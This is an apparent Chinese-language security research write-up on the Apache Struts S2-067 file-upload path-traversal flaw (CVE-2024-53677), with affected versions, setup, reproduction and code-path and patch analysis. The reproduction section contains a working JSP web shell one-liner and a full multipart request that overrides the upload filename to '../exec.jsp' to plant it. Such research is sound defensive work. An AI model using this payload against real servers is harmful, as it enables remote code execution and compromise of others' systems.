1. 前言
官方公告:
https://cwiki.apache.org/confluence/display/WW/S2-067
漏洞描述:
Apache Struts 的文件上传逻辑存在缺陷,如果应用程序使用了 FileUploadInterceptor,在进行文件上传时,攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能导致上传可用于执行远程代码执行的恶意文件。
影响版本:
Apache Struts:
2.0.0 - 2.3.37(EOL)
2.5.0 - 2.5.33
6.0.0 - 6.3.0.2
2. 环境搭建
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0.2</version>
</dependency>
3. 漏洞复现
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
请求包:
POST /upload.action HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------3701280597827013112747531662
Content-Length: 438
Origin: http://127.0.0.1:8888
Connection: keep-alive
Referer: http://127.0.0.1:8888/upload.action
Cookie: JSESSIONID=4209098B9C419F73225118698688A603
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------3701280597827013112747531662
Content-Disposition: form-data; name="Myfile"; filename="S2-067.txt"
Content-Type: text/plain
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
-----------------------------3701280597827013112747531662
Content-Disposition: form-data; name="top.MyfileFileName";
Content-Type: text/plain
../exec.jsp
-----------------------------3701280597827013112747531662--
文件保存到了/uploads目录下,且文件名保存为构造传入的exec.jsp。
4. 漏洞分析
但是在参数绑定之前,会对参数进行合规校验,其中有条正则如下,要求(\[\d+])前面还需要存在一些其他字符,所以[0]和[0].top都无法通过参数合规性判断,所以只能使用top来获取栈顶对象。
\w+((\.\w+)|(\[\d+])|(\(\d+\))|(\['(\w-?|[\u4e00-\u9fa5]-?)+'])|(\('(\w-?|[\u4e00-\u9fa5]-?)+'\)))*
前面部分的参数处理就不细说了,再看下 S66 那篇分析就可以了。这里就只看一下如何处理的top节点。
从 ParametersInterceptor.setParameters() 看起,对 OgnlValueStack 对象进行参数绑定。
可以看到,TreeMap 对象中,top.MyfileFileName 参数是排在最后一位的,这时前面三个参数都已经绑定完成了,这时 MyfileFileName 参数的是S2-067.txt。
跟进到 OgnlUtil.compileAndExecute(),对 top.MyfileFileName 进行表达式解析并执行。(解析为链式节点ASTChain)
跟进到 ASTChain.setValueBody(),遍历处理子节点。
先获取 top 节点的值,到 CompoundRootAccessor.getProperty() 中有这样一段 if 判断,如果子节点为 top,root 不为空,就返回栈顶对象,即 UploadAction。
接着就是为 UploadAction 对象的 MyfileFileName 属性设置值,ObjectPropertyAccessor.setPossibleProperty() 中尝试去调用 setter 方法。
ConcurrentHashMap.get(),从缓存中先获取到 UploadAction 的所有 setter 方法,再从中获取 setMyfileFileName() 并返回。
接着调用 setMyfileFileName()。
myfieFileName 被覆盖为../exec.jsp,后续解析路径穿越符,于是上传保存的文件路径就是/uploads/exec.jsp。
5. 补丁分析
不过在执行 ActionFileUploadInterceptor 拦截器前,先执行了 FileUploadInterceptor,所以请求中构造的 top.MyfileFileName 还是被合并到了参数中。
在参数绑定过程中仍然会覆盖 MyfileFileName 的值。
参考链接:https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/